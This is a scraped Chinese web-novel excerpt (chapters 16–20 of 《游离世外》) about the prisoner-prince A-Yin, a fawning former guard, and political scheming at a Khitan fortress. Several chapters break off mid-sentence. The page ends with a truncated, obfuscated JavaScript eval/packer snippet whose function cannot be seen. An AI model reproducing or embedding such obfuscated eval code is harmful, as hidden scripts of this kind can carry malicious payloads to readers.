他有几斤几两,又不是不自知。本来手上就没几个亲信,狱里也分派别,瞧不起他的出身,那些人尽数投向了监务,伴随轰隆一响,都折在了盐场猎杀里。 现今的他,光杆司令一个。 夷离堇下令,命他缉捕逃犯,不计生死,将头颅送到帐前。 典狱又花银子到处打听,盐场里到底发生了什么,最后逃出来的是谁。 大雪下了两日,夷离堇的亲兵清点完毕数人数马匹物资,冲着银子的便利,向典狱递出了三个名字:铁青、湛无、阿银。 铁匠来历不明,似乎出自耶律家寨堡;湛无事母至孝,极有可能是回辽东探望老娘去了;只有阿银…… 说起这个阿银,典狱倒吸一口凉气。 那人收监时极安静,除去两餐与放风,从来不走动。身带臭囊,无人敢近,近身必被熏死,不死也会像搜身的役工那样暴毙。瞳生异色,曾让度化的和尚一瞧见他,就宣声佛号称他是马莫恶魔转世,惹得众帮役监卒纷纷躲避,唯恐沾染晦气。 马莫恶魔可以说是民间老百姓最为害怕的一种魔鬼,传播疾病,无药可医,谁沾上谁倒霉。 如此一尊瘟神,按律需拷掠他时,也要先将锁他的链子拖过来,一点点拉着他到刑架前,然后收紧锁链,将他悬吊起。就算他的双手在背后交叉绑紧了,只有脚尖着地,眼睛也蒙着布,看似无任何一点威胁,大家还是互相推诿,将吃力不讨好的差事塞给典狱做。 典狱有先见之明,将一众人等赶出地牢,只留下堂审书记。 书记悄悄与他说:“这个刑囚法子叫‘苏秦背剑’,双手缚死了,犯人做不出花样,大人只管拿下他。” 典狱斜眼瞅着书记,“你们以前试过么?可是稳妥?” 书记拿册单掩嘴,“不光试过这个,还有‘鸭儿浮水’、‘金鸡独立’、‘打天表’,都没出过纰漏。” 悬吊的阿银嘴角轻轻一啧,似是讥笑。 典狱将袖子撸起,喝道:“塘下案犯,稍安勿躁,等会儿让你抽魂走魄,认识本典正的厉害!”他转头看书记,书记站在阶上,冲他点头致意。他便取了皮鞭,亲自下到塘池里,朝阿银抽了第一鞭。 阿银竟然提起双腿躲过。 再啪啪抽两鞭,均被晃荡躲过。 这成何体统,简直要灭杀堂堂兵司监的颜面。 典狱抹了把脸,冲上去朝着阿银后股抽去。阿银出力晃荡一下,将两腿反翻上来,夹紧臀部,头轻脚重,倒悬半圈,张嘴朝典狱面目吐出一口臭水。 典狱怔了一下,猛然想起,眼前这死囚随身带了臭囊,无人敢搜身,所以没被搜走。 那他肯定先含了一口臭水等人来的! 典狱方觉半张脸火辣辣的疼。 他丢下鞭子,惊魂未定道:“有毒?” 阿银冷冷道:“反正你也不要脸。” 典狱连忙擦脸,蹭到两臂上有水渍,醒悟过来,扯下袖子又胡乱擦一通。 阿银奚落:“下次再敢惹我,让你无颜见江东父老。” 典狱听得火起,几步走过去,将书记提下来丢进塘池里,“你来!” 书记瘦巴巴的,执起鞭刑,如同弱风摆柳。 两人在地牢里刑囚半天,一个有用的字也没问到。壮的不敢近身,瘦的手脚打颤。 阿银全程惜话,任由长到眼的皮鞭才能卷到他臂弯上,最后饿得闭眼睡觉。 此后,再无一人敢靠近阿银刑囚他,若想折磨他,就将他拖去雪盘里泡着。 典狱气急败坏去瞧郎中。郎中宽慰道:“这些是桉树汁、榉树叶、石楠花、尸草,当花期采摘炼制的,臭不可闻,要不了大人的命。” 典狱回到吏舍后,回味过来阿银说的话,掩面长叹。后面他通传全监,休要近身阿银,那人身上指不定带了什么歹毒的东西,各位好自为之。 由此,阿银落得清净自在,典狱在无形之中,妖魔化了阿银的可怕,也保护了阿银不受骚扰。 兵司营重监倒像成为阿银歇息落脚的地方。 后接到命令,重囚死犯要被夷离堇提走,监务、问事、狱卒齐齐朝狱门铜铸的狴犴像连烧三炷高香,庆贺瘟神离监,他们随令押解一行十五人去盐田猎场。 最终瘟神阿银没死,大大小小十几号人一个没落下,全炸死在盐池里。 所以苦命的典狱,提着用羊皮纸层层罩着的风灯,一路摸到寨堡前,鬼鬼祟祟的,也不敢声张。 17.小殿下 《游离世外》全本免费阅读 阿银朝后收捺右腿,奈何大腿被典狱抱得死死的。 七尺昂藏汉子在跟前缩成一团,还哭的一把鼻涕一把泪的,先不说这人的骨气在不在,就是近身突兀这事儿,阿银也很不习惯。 低语道:“给我起开!” “不不不,我再也不离开殿下了。”典狱抱着湿漉漉的裤腿,将眼泪擦到阿银衣摆上,闷声大哭,“天可怜见的,我有多想念殿下,记得从广政三十九年至今,已有六七个年头没瞧见殿下的玉颜,我每天起床头一遭事儿,就是给殿下的绣像上一炷香,祝殿下长命百岁蒙神护佑。” “是么?”阿银说,“可我记得在号监里,你端出来的另一张嘴脸。” “那时我并未认出殿下,自然也没法帮殿下转圜一二。殿下这几年身量儿长开,成了个一表人才的小……小伙儿,脸上也褪脱了稚气,我这个眼拙的,就没朝您是殿下那处想。不知者不罪,殿下您宽宏大量,就别计较小的混账事。” 阿银沉颜未答时,典狱急道:“我真的一直想着殿下,这份诚意,当以雪月为鉴。” 阿银弓膝甩了甩脚上的挂件,说道:“起来说话,哭哭啼啼的,算什么汉子。” 典狱抹了泪,慢慢站起,还打了个哭嗝儿。 阿银皱眉问:“你叫什么名字?” “林秀君。” 林秀君?阿银狐疑打量一眼,跟前站着的剑眉圆目的大汉,实在与这娘气的名字照不上形。 典狱在三朝两境混迹多年,实在是懂得察言观色的。立即说:“我也嫌这名字太娘们,所以平时从来不用,只称表字‘瘦梅’,这字儿还是广政三十七年,殿下十岁时,给我取的。” 阿银恍惚记得,十岁时从内宫退下来,回到锦里殿,檐角一枝白梅露出冰洁光彩,正值一名宿卫禁军见缝插针来报道,铁塔般的身姿站在树下,给他唱喏,他随口呼了句“清浅瘦梅压铁山”,那宿卫特别灵敏,马上噗通跪下,说道:“谢谢殿下提点,赐我美字。” 名字叫铁山还是别的,阿银当时不在意,倒是当事人把他说过的话当作金科玉律,延传了下去。 他早就忘光了这些细琐往事,今朝再见故人,还是勉为其难说了句,“多年未见,我觉得你叫‘秀君’挺好的。” 典狱林秀君马上应道:“是是,殿下读书多,说什么都有道理。” 阿银一嗤,“当真么,那我唤你做什么,你就得老老实实听着,不准阳奉阴违。” 林秀君道:“我这等忠心烈骨,怎会使二皮脸皮对殿下,殿下说什么,都是灌我的醍醐琼浆,透顶浇进去,提溜得六根生灵。” 啧,就这嘴皮子与脸面,没混个二十年的老油条,当真是炼不出来,阿银瞥林秀君一眼,暗地里计较。 没见声张,林秀君暗想,难道殿下不喜欢这号儿溜须拍马么,不如改个法子搏他亲近,于是伸手又想去抱大腿,顺便哭嚎两声。 阿银疾退两步,低喝:“你给我站好了!我有话仔细问你!” 林秀君乖乖站好。 阿银坐在山石上问:“前头你说在兵司监,并不识得我的面儿?” “是的嗯。” “你这典狱是辽国的官职?” “是的嗯。” “上月,辽国小皇帝登基继位,曾晓谕诸道州县,要大赦天下,释放囚犯,为什么诏令到你这里就不行了?” 林秀君一激灵,“唉哟我的天老爷,这是真的冤枉,我这鸡毛大的官儿,被上头各道大王、林牙压死了,没他们发话,我哪敢放走一人。” “僧尼道俗、士人工贾、流役帮夫皆在诏令之列,连死囚都有机会,偏生我就被你扣住了?” “殿下!殿下!这事儿真不赖我!您找那夷离堇去!是他伸手拿人,抓去猎赌,真的不是我这小小典正能叱咤下来的,不信您去打听!我对您,可是忠心昭昭,恨不得肝脑涂地!您仔细想想,当初在号监里时,我一觉得您像我蜀池故人,都没求证一个字的,就把您顺手提到单房里,还命手下的人不准扰你,您认这个理吗?” “嗯。”确有其事。 只是当时的阿银不明就里,审时度势,发现典狱的气焰熄火了,就逮着他这边欺负。本来嘛,阿银要找的人,似乎就是典狱。 只因搭乘高丽使者船的来途中,阿银听说海津镇的兵司监里,来了个魁梧的汉子做典狱,好像是蜀池人,面相炯炯,但长了张小巧玲珑的嘴,每次使船一靠岸,他为了邀功,必定是登船来巡查的,说是有流民与海客,就乖乖跟他回兵司备案,别在后面生事端。 听到这个消息时,阿银已在船上,行驶在茫茫海面,插翅难逃。船一靠岸,典狱果然上来按例巡捕,阿银索性闹出大动静,顺理成章被提溜进号监。 这厢里,典狱林秀君突然也想起了要问:“殿下瞧着受了不少苦……眼睛珠子像是琉璃观音转世……怎么就落在我这块地儿……”话风一闪,突觉不妥,他抬手扇了自己一下,又说:“瞧我这张嘴,殿下来我这儿,是做小的荣幸……” 阿银不跟他兜圈子了,说道:“你仔细想想,我为何找你?” 林秀君精壮身子微微一震,首先听悟了言下之意,殿下是专程来找他的,所以缠住他了。 他想岔开话,套索一样的,套出殿下这七年来的下落,转头思对策,该怎样打马虎眼混过去,殿下找他的原因。 殿下却说:“我这中间七年,乏善可陈,被国师扣着脱不开身,这些腌臜往事,也与找你不相干,你说你的,该说的说清楚了,保准留你一命。” 林秀君一听又是性命威胁,习惯性的抖了下,拿眼偷偷瞟一下坐着的阿银。 阿银冷冷的,“我都能找到这里来,你还想逃出我手掌心不成?” 林秀君慌忙跪下,“小的不知从何说起。” 怕是没脸说起吧。 阿银也未戳穿他,还曼声道:“你赶紧想,我被囚多年,落了个手抖的毛病,等不了时候。”他持着烧火棍,又朝林秀君虎背敲去,敲得一阵嘭嘭响。 那棍痛可是不讲情面的,典狱大人又泅了一口血,赶紧都招了。 说来说去,典狱林秀君与锦里殿里的主人阿银,最早的牵连就是七年前,他做宿卫禁军时,值守的便是阿银的宫殿。 小主人银殿彼时十岁,生得冰清玉洁静美无瑕,深受嫡母骊珠夫人的疼爱,她以继后的身份上表,言称相师风鉴小儿“清贵不俗”“利道本朝”,请封昌平号、追加仪制冠读。蜀池国君对这名小殿下也尤为喜爱,自打出生起,对他的赏赐就未断过,给予的恩宠礼遇直逼东宫规格,还封他为昌平国主,许他开府置官,遥领指挥权。 一时皇恩载帱,银殿声名美传,人人争先逢迎。 骊珠夫人延师授课,加强了小殿下的学识本领,并请孟钦一为小殿下首席教习,继续他的文华武艺培育。小殿下自小便接受孟钦一的教导,天资聪敏,勤学苦练,文武兼备,朝野国域无人能及,皇帝龙颜大悦,下令旌表昌平国土各处。 太子一派催促小殿下就藩,小殿下去了封地后,宫廷生哗变,太子及位,皇帝退至行宫休养,骊珠夫人被敕令陪同。新皇帝命令孟钦一软禁小殿下,封孟钦一为昌平国师,让他实领昌平诸政事宜。 此后小殿下就失去了消息,传闻是在昌平国宫里养病,不治而亡,孟钦一为小殿下修建麒麟塔供奉骸骨。 这事儿过后,一众原先的锦里宫人,包括宿卫林秀君,都记得是孟钦一袖手倾覆了蜀池国的乾坤,发动内乱手刃新皇,迎立太上皇回宫,再复年号“广政”。 在那时,太上皇与皇太后均是孟钦一掌中的傀儡,挣脱不得,连苦苦询问的小殿下的下落,至死都未获得。 紧接着,宋廷军师挥戈打过来,意欲一举吞没蜀池。孟钦一闭宫思索一宿,翌日天明,威逼太上皇穿白衣、衔玉璧、手牵白羊献礼投降。 至此,蜀池国号不复存在,新称为郡,国中国昌平降格为县,孟钦一被宋廷封为郡公 18.用阿银 《游离世外》全本免费阅读 阿银嘱咐林秀君,如今宋廷主掌中原乾坤,无需眷恋蜀池旧号,尊他为殿下,以致于引起不必要的麻烦。 还有一些口头的训诫与旨令等,林秀君听后一并应下。 就是有一点让林秀君很不解,“殿下唤我回去,引诱夷离堇来攻打耶律家寨堡?” “嗯。” “可是殿下就栖身于堡内,若起了战乱,我又如何护得了殿下的周全?” 阿银看林秀君的关切之色不是假的,照直说:“你的口头本事不错,手上的本事差强人意,我的身家性命,你先不用操心。再说,寨堡里还有个楚世子,他来这里,肯定想图谋海津镇,从耶律慕身上找突破的。你将战祸引来,他必定不会袖手旁观,要出兵帮耶律慕抵抗,所以你放心大胆的去,不用怕寨堡里有什么变故。要是夷离堇打来了,楚世子与耶律慕联手,形势的发展才对他有利。我如今做了楚世子的下属,被他冠以亲随之名——” 顿了顿,阿银摸出丝囊里的照身帖朝林秀君砸了过去,来表证他所言不假,又接着说:“怎地不做些狗腿子的事来讨主人欢心,当前一例,就是引夷离堇来打,促成他与耶律慕联合的主意。他一高兴,就可放过我,我便于回西市挣些营生。说了这么多,最关键一处,就是你回去游说夷离堇,让他放心来攻。他一旦打过来,楚世子必定不放过他,他死与不死,对多方来说,都是便利。” 一口气说完,阿银站起身,估摸了一下出寨堡到现在的时辰。 半截风灯埋在地下,散着幽幽的光。 林秀君拾起照身帖,即阿银的身牌,就着灯光看清金漆勾描的字,验证了阿银已入楚国公世子府,做了一名随侍的夜郎。身牌的反面,也是金灿灿的字标,给予了阿银全宋境行走的便利。 可见殿下阿银在楚世子跟前,是很得宠的。 就是不知,殿下着急摆脱楚世子,缘由因何。 林秀君小心收起照身帖,双手递上,同时也在消化着殿下的话,他有些震惊,殿下如今长大了,心思盘旋了几道弯,比小时候更难以捉摸,以他之目力,是看不出引夷离堇来打寨堡,对后事的发展有什么导向。不过,殿下有句话倒是说对了,假如夷离堇死了,那些强派下来的役使,时不时找他林秀君麻烦的机会,都会抹杀干净,对他来说,真是天大的好处。 林秀君想了想,又向殿下讨要,先保住他自身性命再游说成功的法子。 阿银面授机宜,“夷离堇先前失了盐田,势必被辽太后追责,要是突然得知宋国盐铁使私赴寨堡,意欲与头下军州节度副使勾结,他若一举端了这两人,假以邀功,用来堵太后口舌,你说这是不是绝佳的机会?” 宋国盐铁使就是秋上,此时他领着这个名头至海津镇洽谈事务,还未对外公布他的真实身份,更不说宋皇写与他的手诏。这些隐秘的信息,不被夷离堇知晓,便是谋事的先机。 阿银此时也试探了下林秀君的忠诚,该说的消息才说,密诏等内情与更多的细节,不曾透露过。 但他信林秀君有些聪明劲,知道怎么取舍,甚至会想通其中的关联。 太蠢的人,也做不了说客一事。 林秀君满口应承阿银交付下来的事情,回程中又准备了一些物什,纵马朝夷离堇的驻地赶去。 阿银看着林秀君不曾迟疑的背影,知道事情可成,疾步赶回寨堡换装清洗。这次他从门房走过,守门的才知道,银瞳小郎君不知从哪里找到了缺口,跑出了寨堡外。 门房做事细致,赶忙传话给二公子耶律慕。 耶律慕猜不出,秋上随驾这番意欲何为。但他礼待于人客气行事,没朝坏处上想,下意识觉得,是秋上委派随驾外出盘游的。 于是谦逊问道,是不是陋处招待不周,让尊驾劳筋动骨,出寨堡采办的? 因阿银兴冲冲走进来,一手拎着烧火棍,一手提着野兔,好像是野游打猎回的。 秋上听得三言两语,心知阿银偷溜出去,必定是想做什么,用了个野猎的障眼法。面上不动声色替阿银转圜,说他随侍喜欢蜜汁兔肉,惊扰了寨堡郊野实属无礼。 贵客这么说,耶律慕更是不作他想,连忙吩咐厨房,赶制一道兔肉羹送来。 花厅里,随从燃亮华灯悄声退下,锦缎玉桌上的宵夜用炭火温着。 秋上始终不动箸,自从说了“用阿银”之后,再无片字发落,谢观微还出去请了一趟,也是空手回的。 耶律慕陪在一旁,说了些本地的雅事风闻,虽有夸大之嫌,也比冷场盈足。 谢观微微微笑着颔首示意,代替主家公子圆场。 一晚的舟车劳顿,秋上不去休憩,在厅里耐心等着,此时就突显出了,阿银的到来无比重要。 就是耶律慕,都有些好奇,令贵客看重的一介佐驾,到底是何方神圣。 抻足了场面,也给足了暗示,终于,秋上的佐驾阿银姗姗登场。 阿银是带着一股清冽的气息卷进花厅里的。 他穿着银色长衫,外罩青葱色及膝半臂,瘦腰系窄韦带,上下两身显得颀长秀挺。一头乌发梳得顺顺当当,尽数结成顶髻,文雅放置在硬纱青帽内,帽后抽出两条发带固定帽沿,发带底部压了银饰做垂脚,夜风拂过发带,送了一点银叶花纹到旁观者眼前,十足的翩翩风骨。 他的纤瘦身形、流银般的瞳色,全身上下非青即银的衣装采色,实在是引人注目。 秋上看的是,阿银果然梳洗了一番,打扮得干净清爽,过来搏耶律二的眼缘。 谢观微看到的是,公子身边新添的小郎君,与以前的奴仆和下属都不同,一双眼瞳就能生起波澜来,且看机缘如何、公子怎么用他。 耶律慕只看到了,贵客佐驾长得俊丽秀雅,一双银瞳顾盼生辉,这放在辽朝贵族圈内,一定是奇货可居。 阿银一进门,便对耶律慕叉手为礼,深深道了万福,得到回应后,再依次向秋上、谢观微行礼。 秋上何等敏锐,从阿银行礼次序,当即看出,他最为尊崇的是耶律慕,随后才是他这个主子。 他连颔首回礼也省了,目光移向桌面。 谢观微适时进言道:“公子请阿银用饭。” 阿银看向主人耶律慕,双瞳清亮,微微的曦彩在流淌。耶律慕一怔,随即马上反应过来,笑道:“如是疏忽了,这就有请佐驾入座。” 他请阿银落座,阿银走过去径直坐在左侧,第二等的位置。 不待耶律慕回身延请,谢观微深知主意,推着秋上坐到阿银对面,第三等的位置上。 耶律慕只得坐在最下作陪。 三人悬空了主座。 当然谢观微是不入席的,如果这场宵夜是鸿门宴,他所做的是揣度公子心意,替他作刀马走卒。 耶律慕救场说道:“世子一心体恤佐驾辛苦,宵食汤羹给佐驾备着,佐驾略进一二,解解乏吧。” 阿银欠身道:“诸位公子面前,怎可僭越,唤我阿银即可。” 耶律慕道:“如此也好,有劳阿银屈就敝处食行。” “无谓屈就,是我多扰。” 秋上在一旁,尽数瞧着两人言辞谦让,也不说话。 他不动,谢观微就不动。 两人似壁画,容颜焕发,然而华彩照应之下,静得从容娴雅。主人家不知贵客一行到底意欲何为,总之殷勤劝食不会错的。 他一劝,阿银就动箸,这般反应,比贵客公子的应付强多了。 立刻有轻手轻脚的婢女进来,给阿银布案。 阿银跟前摆着银盏盘、冰 19.见家长 《游离世外》全本免费阅读 秋上吃的不多,用婢女烫热的手巾擦了擦手,开始问道:“你去了哪里?” 阿银回过神,“后院厢房里梳洗。” “厢房里冷么?” “不知道,汤水是热的。” “有暖炕?” “嗯。” 可见耶律慕对下人也是体恤的。 秋上:“未烧地火龙?” 阿银:“听说二公子寝居、贵宾阁才有。” 贵宾阁就是暖阁,拟请秋上下榻的地方。 “你睡哪里?”秋上问。 “谢大人睡哪儿?” “微官儿睡我隔壁。” “那我睡炎颜那里。” 秋上:“炎颜……可是这府上的掌厨颜娘子么?” “是的。” “她是你何人?” “我娘亲。” 这个回答让秋上有了疏忽的失神,但很快,他就凝雪了面容,一如往昔般的风骨清峻。连夜赶路,纤尘不染他的雪袍银貂,气象雍华淡雅。 秋上无论在哪里,都是一个显眼的存在。 一进堡里,里里外外、上上下下都赶着伺候他,他自然看到了来报菜名的主厨颜娘子。 随眼逡视过去,颜娘子五短身材,圆圆的和蔼的脸,人中浅,嘴有细纹,面相未老先衰,大概三十多年纪。 阿银曾说全家罹难而亡,独留他一人,后认铁匠为义兄,那么寨堡的颜娘子,应是阿银的义母之类。 秋上说:“颜娘子的厨艺很好。” 一听这个,阿银抿了一丝笑在嘴角,“是的嗯,我也觉得。” “与三京四国之御厨不相伯仲。” “公子去的地方多,既然这么说,就一定是了。” 秋上问:“不知她是否看过《食珍案》?” 阿银:“就是‘案录圣朝十三道百许州计千余种烹制方子’的……那个?” 秋上微微颔首。 阿银轻咳一下,“我还一直以为那是公子的杜撰。” “我可现成给你写出几案。” “用什么来换?” “赠予颜娘子。” “不用换的么?”阿银转念一想,其实很多时候,秋上待他阿银还是很慷慨的。 “初来寨堡,你就跑出去打猎?” “公子就传了一道‘冰粢蓑叶鱼’,完全难饱食欲。” “《食珍案》替你补上。” “多谢。” 秋上:“想要哪些案目?” “獐肉羹,鹿肉羹类。” “据我所知,你今晚猎到的是野兔。” 阿银的嘴角慢慢回落,“庖厨食方多备着总不算错的。” 心里又想,和他说话就得费脑子。绕了一大圈,不就是想知道我去野外干了什么。 秋上静静看着阿银,“你唤颜娘子来拿这方子。” 阿银也静静看回去,若是唤炎颜一人来见他,能抵得过他的口锋心算么。 唉,伤脑筋。 阿银潦草行个礼,转身离去。 那厢里,谢观微立刻停了攀谈,用恭顺客套话结尾,代替秋上感谢耶律慕的款待。耶律慕忙不迭延请贵客入暖阁休憩。 铁匠提灯在前面带路,沿途都有华灯燃彩铺亮道路,其实无需照明,他的行止,只是按令尊崇贵客之意。 送到院门,耶律慕谦逊止步。 铁匠拎着斜铁架,自然是助力轮车进入内室,才能方便告辞的。 秋上开口道:“留步。” 谢观微关门。 铁匠恭敬站在门旁。 暖阁内器具、汤水一应俱全,和意融融,热香清悠。 秋上右手取过桌上现备的纸笔,开始撰写肉羹类的食方,左手还是虚搭在膝,对外展示出,羸弱无力的表现。 谢观微趁机检查室内、外厅的布置与细微,确保无任何隐患,再走回来研墨。 阁室内静寂无声。 秋上一边写一边说:“我落入海崖,是何人救我?” 铁匠行礼后答:“阿银。” “这架车,重达四石,也是他主张打捞起的么?” “是我。” 秋上润墨,“为何你独独不放弃这车?” 铁匠怕被误会为贪财,忙解释道:“彼时兵荒马乱,这车瞧着像累赘,不过却是公子紧需的座驾。” “我念你礼待于我,必然不会出手对付你。” 铁匠一怔,这是何出此言,前后两句根本搭不上意。 谢观微抬头说:“公子是在提醒阁下,有话请直说。” 秋上再无话语发落下来,趁着间隙,铁匠细细回想哪里曾“礼待”过人家,突然醒悟,他在窝棚里替秋上宽衣、擦沐,尽管对着昏睡的秋上,当时的他也虔心敬意,未曾唐突过一分。 秋上竟然是知道的。 不是他以为的昏昏然。 而且,人家刚才还提及一个词“独独”——独独不弃车,那时候,铁匠也记得,秋上是昏死在地上的。 这些个中细节,相信以阿银疏意的性子,必然不会对贵客提起。 那么,秋上要么是凭着洞察力推断出来的,要么是现场有暗探眼线报与他听。 无论哪一个,都轻忽不起。 想到这儿,铁匠恭敬说道:“某铁匠出身,初看这车,锻造手法精巧绝伦,非国师能匠不可为,就心下慕往。凑近细细打量,发现车里藏拙,镶铜嵌玉,隐隐王侯气象,更兼有卡扣、暗盒、轴转、机关等灵活运转,若是掌握了要领,某猜测,这车能改变原型,契合成一座小防御塔……当然以某的拙浅眼力,看不出这车还有哪些隐藏的机关术,不过转念想,仅凭一座轮椅车就行走于辽国,面对千军万马而不改容色,独世子有这份胸襟与胆谋……所以我铁某是衷心佩服。” 铁匠精于器具,在他眼里,秋上的四毂轮车就是世上独一无二的重器与营造,还有许多令他心折的窍门,就好比一个铁器痴遇到了机关城,里面琳琅满目,让他有探寻下去的欲望。 铁匠的话,真心夸赞也有,恭维也有,秋上哪有耐心兜圈子,说道:“所以,你是想结交车主,还是想学习营造术?” 铁匠抱拳,“不敢攀援,更不敢讨巧钻营,公子抬爱了。” 秋上放笔,“那就权当记个人情。” 旁观的谢观微眼鼻观心,没透露一丝声息,只是有些可惜,铁匠错失了一次机会。 公子刚才问铁匠,是想结交还是学习,其实就是给铁匠机会,任他攀求一项,平时这些提点的话,都是别人挤破脑袋也换不来的。 偏偏铁匠面相铮铮,不接这些话茬。 铁匠呢,倒不是听不明白秋上的言下意,只不过小主阿银不在跟前,他自己不敢拿主意。 这么多年,已经习惯了,唯小主马首是瞻。 阿银自进堡寨,未曾与他打照面,但以前说过,耶律慕为人宽仁,尽数收留了他铁匠与炎颜,须感恩回报一下。 既然小主说了,铁匠就照做。 所以今晚伸来的点金笔,他顺势推开了,也不觉得有什么遗憾。 铁匠行礼告辞,门口应声进来炎颜。 两人最为熟稔,甚至连眼神交接都不曾,炎颜径直道:“多谢贵客公子赐我方子,咱家有口福了。” 铁匠已离院,炎颜敛衽为礼,顺手阖上门扇,恭敬立在桌案下方,等待传食方。 甫一进门,炎颜说话就不拐弯抹角,颜色浅,很好探得虚实。 秋上将纸上食方扣了一下,问道:“阿银是娘子何人?” 炎颜大方道:“干儿子。” “他本名叫什么?哪里人?” “叫游离,这名儿不好听,大家都喊他‘阿银’。听说是蜀池人,跟铁匠一个地方的,铁匠也是我收的干儿子,我还没成家,四处讨营生,瞧他俩个手脚利索,就收了做些帮衬。咿,没想到还挺好使的,都不挑食,吃惯了我做的饭,这不到哪儿都想着捎上我。” “娘子又是哪里人氏?” “契丹北、迭剌部,没什么手上的活计,只会做饭,平时到处帮佣,圣朝 20.想睡觉 子时,残风卷雪,萧萧而下,漆黑的原野上,四处呼啸滚过风雪声、枭叫声。 阿银披着薄薄的银袄,从厢房屋脊顺着梯子走下来,听取了一会儿寨堡外的动静,与他猜测的半夜偷袭一事脱不了干系。 风雪声是老天爷变脸的前兆,掩盖了零落的枭叫声,而枭叫声应是秋上派系的暗语传令手段。 就如阿银猜测的那样,秋上出使寨堡,不可能不安排兵力布置、后继的应对。 他觉得这事儿由秋上出面,很稳妥,又恃天冷,就想回到厢房里,暖融融的躺赢。 第一个不让他回房躺着的是厨房的婶娘。 看他把自己收拾得清爽俊丽,啧啧惊奇,想与他说个媒。 阿银暗地摸了摸很瘪的钱袋,涩然道:“我好穷地。” 婶娘越看他脸越满意,“就这模样,做个上门女婿也不亏呗。” 炎颜心急火燎过来护犊子,将婶娘撵走了。回头又说:“你那什么馋嘴方子给你要来了,什么时候把欠我的帐算一算?”她从腰后取下一个小算盘,霹雳吧啦一阵拨算,说:“雇人送饭、买消息、打点狱卒、通融关系、给你置办衣帽鞋袜、脂膏药浴……唉哟,花钱的地方太多了,都给记不清,不如二一添作五,给我三百银。” 阿银拿出一张金叶递了过去:“只有这么多,您先垫垫。” “剩下的怎么办?” “我想想办法。” 炎颜轻哼一声,收了银票,“肚子还饿么?听说你在花厅吃得不利索。” “不吃了,睡觉。” 炎颜进屋给阿银收拾暖炕。 阿银百无聊赖坐在廊下掐手指算卦。 第二个阻拦阿银回屋躺赢的是铁匠。 一进院门,铁匠就对阿银说:“今晚局势阴晦不明,二公子较为担心,想请你再去花厅议事。” 阿银掩袖轻轻打了个哈欠,“我想睡觉。” 正说着,耶律慕打着伞居然纡尊降贵亲自来请了。 他清落落站在院中,“小郎君借一步说话。” 四周的仆妇连忙关窗熄灯,缩回厢房里不作声气,连炎颜都躲着不出来,她们这样做,既是避嫌,也是尊示主家公子。 阿银回:“明早再说吧,我想睡觉。” 耶律慕行大礼,“倘若明天这寨堡还在——小郎君想睡多久都行。” 阿银只得恭整面容,走回院里,半揖道:“小的只是个随侍,凑巧兼职佐驾,两边公子的事务何其重要,小的哪敢说道。” 耶律慕将青布大伞擎举到阿银头上,与他的距离便拉近了几分,贵族熏香冲淡了雪风的冷。 阿银见是舒适,便未后退回避。 耶律慕诚恳道:“楚世子金口玉言难开,谢公子谨言慎行不多说,只有央求小郎君您,给我指点一下,今晚这场会晤我有几成胜算?” “公子的话,我听不明白。” “楚世子只带了小郎君随行,听他说,平日里也多依仗于小郎君,因而……如是想,从楚世子嘴里探不出来的消息,说不定,能得到小郎君的一两点提示。” 哪有从主子嘴里套不出来话的,就去小的面前打听,难道小的不知道口风要紧嘛?阿银提眉乜了一眼耶律慕,瞧他也不是个拎不清的,顿时醒悟到,这人怕是直冲自己来的。 “公子想要什么提示?” “两日前,盐田被炸,滩场尽毁,闹出极大动静,据闻楚世子以公干身份入场,被迫卷入狩猎行当中。如今他好不容易逃出来了,不回军营搬救兵,突然造访鄙处,难道是想得到寨堡的庇护?” “我未到厅前,楚世子与你说过哪些话?” “提议和我结盟,组局游猎,重新划分地盘。” “我相信楚世子的意思已经很明白了。” “此话怎讲?请小郎君一定要示下。” “倘若猎物不进局,你是不是要引他过来?” 耶律慕稍稍震惊,“您是说——楚世子亲自将夷离堇引向我这寨堡,逼我动干戈?” 阿银露出个瘆人的笑,“公子现在才想到,是不是晚了点。” 耶律慕虽处在难以置信中,谈吐礼仪未有一项落下,持续行大礼,用恭顺谦逊的态度掏邀阿银的话。 他说:“实不相瞒,小郎君义兄找我,建议我加强防守,尤其是加强城墙上的石料、火油、投掷矛。我这一听,觉得夷离堇很快就要打过来,不知今晚寨堡能捱得过么?” “有世子秋上坐镇,怕个什么。” “话虽如此。”耶律慕诚恳看着阿银,“这座寨堡比我身家性命更重要,很多百姓得以庇护于此。而平日里寨堡防守过于稀疏,人手调度不足,真要打起来,我担心撑不了多久。” “那公子想怎样?” “我想请小郎君施以援手。” “怎样帮?” “一是向楚世子打听打听,他可有退敌的方法。二是劳您大驾,去墙头帮助铁什长巡守。” “太麻烦了,我想睡觉。” 耶律慕行的谢礼还未直起腰身,听到拒绝,一时不知怎么办,就定在了那里。 铁匠走到阿银身后,用右肩抵住阿银的背,接住了他打瞌睡的身子,还轻咳一声。 阿银伸出一根手指,撑开打架的眼皮,无奈说道:“叫铁匠先顶顶,我睡好了才有精神,后面帮公子守城。” 耶律慕忧心忡忡:“若是守不住……” “就请楚世子登城玉石俱焚。” 发落一句,阿银再也顾不得其他,走进厢房里倒在了炕上。 炎颜随即点亮一盏小小的灯,并给阿银盖上被,问道:“公子找你商议什么事?” 阿银不瞒自家人,照直说了。 炎颜坐在炕脚纳鞋底,“我瞧公子和你说的挺好的,走得又近,八成是想你施展些拳脚功夫,帮他度过今晚这场难关。” “那还消说,就是铁匠向他荐了我,这胳膊肘儿尽是往外拐。” 炎颜想了想,过后叹口气,“铁匠也是好心,你想想,我们娘仨,吃住都在寨堡里,靠二公子庇护,没做得些功劳出来,怎么好意思在这儿安身。” “我懂的。” “楚世子那边,你要不要辞个工?” “嗯。” “真的舍得离开那满身富贵的世子爷?” 阿银淡淡道:“和他说话很费脑子,稍有不慎,就会被他抓住把柄;二公子为人宽厚,跟他说话不用端着,朝后看,我要挣些盘缠营生,也少不了二公子的帮衬,还是留他这边为好。” 后面声息渐无,炎颜抬头看,原来是阿银念叨着二公子的好处,迷迷瞪瞪睡过去了。 院子里,耶律慕浅浅驻足一会,没见到阿银再出来,才知他是铁了心要睡觉。耶律慕胸襟开阔,断然不会与宾客计较,正打算举伞离开。 倒是身边铁匠说上了话:“公子请放心,阿银做事有分寸。若是他肯出手,不是我托大,保护公子是绰绰有余的。” 耶律慕笑道:“如此说来,今晚我跟在阿银身边,就能稳妥了?” “是的。” “那我这座寨堡又该如何?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 